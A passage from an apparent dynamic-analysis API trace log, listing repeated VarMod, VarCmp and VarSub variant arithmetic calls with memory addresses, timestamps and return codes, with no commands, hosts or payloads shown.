pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.248] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.248] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.248] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.249] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.249] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.249] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.249] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.250] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.250] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.250] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.250] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 